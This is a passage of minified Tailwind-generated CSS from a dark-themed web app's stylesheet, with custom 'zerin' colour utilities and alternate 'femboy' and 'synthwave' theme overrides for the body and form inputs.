32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/40{border-color:#10b98166}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-2\.5{padding:.625rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 